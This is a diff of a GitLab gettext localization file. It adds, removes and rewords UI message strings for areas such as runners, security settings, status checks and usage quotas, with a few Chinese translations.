msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -26944,6 +27348,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -26968,6 +27375,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -26989,6 +27399,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27193,6 +27609,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27400,6 +27819,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27418,9 +27840,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27781,6 +28209,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -27943,6 +28374,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr "季度"
@@ -28057,6 +28491,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28157,9 +28597,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28326,6 +28763,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28353,6 +28793,9 @@ msgstr ""
msgid "Remove assignee"
msgstr "移除指派人"
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28362,6 +28805,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28479,15 +28928,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28503,6 +28952,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28572,6 +29024,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28596,6 +29051,9 @@ msgstr ""
msgid "Replace"
msgstr "å–代"
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28771,6 +29229,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28792,6 +29253,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28810,6 +29274,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -28888,7 +29355,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -28903,6 +29370,12 @@ msgstr "申請權é™"
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -28924,6 +29397,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -28963,6 +29439,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29028,6 +29507,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29342,6 +29824,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29396,6 +29881,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29408,6 +29896,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29429,6 +29920,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29441,12 +29935,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29480,6 +29980,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29489,6 +29992,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29519,12 +30025,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29582,19 +30094,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29675,21 +30193,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30055,6 +30558,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30079,6 +30585,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30127,7 +30636,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30142,7 +30651,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30154,7 +30663,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30214,6 +30723,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30223,6 +30735,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30247,6 +30762,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30316,7 +30837,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30325,6 +30849,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30346,6 +30873,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30565,7 +31098,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30598,6 +31131,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30736,6 +31272,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -30940,9 +31479,6 @@ msgstr ""
msgid "Sep"
msgstr "ä¹æœˆ"
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr "ä¹æœˆ"
@@ -31042,7 +31578,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31054,6 +31599,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31099,6 +31647,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31180,6 +31731,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31237,9 +31791,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "設置密碼"
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31313,9 +31864,6 @@ msgid "Setting saved successfully"
msgid_plural "Settings saved successfully"
msgstr[0] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31382,6 +31930,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31397,6 +31966,9 @@ msgstr ""
msgid "Show all activity"
msgstr "顯示所有活動"
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31445,18 +32017,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -31819,6 +32382,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -31903,9 +32472,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32182,9 +32748,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32203,6 +32766,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32356,9 +32946,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32503,6 +33090,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32524,7 +33114,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32533,6 +33123,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32554,6 +33147,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32569,6 +33168,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33552,10 +34154,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -33807,7 +34409,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -33843,7 +34445,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34048,9 +34653,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34183,9 +34785,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34240,6 +34839,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34336,9 +34938,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34351,9 +34950,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34729,6 +35325,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34747,12 +35346,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -34801,6 +35394,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -34855,12 +35454,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -34870,6 +35472,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35005,9 +35610,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35050,6 +35652,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35149,7 +35754,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35691,6 +36296,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35715,6 +36323,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -35820,10 +36431,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -35844,9 +36455,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -35907,6 +36515,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36076,7 +36687,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36133,6 +36744,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36331,9 +36948,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36439,6 +37053,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36523,9 +37140,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36634,6 +37248,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36676,6 +37293,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36685,9 +37305,6 @@ msgstr "點擊上傳"
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36700,9 +37317,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36757,12 +37371,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36772,9 +37380,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
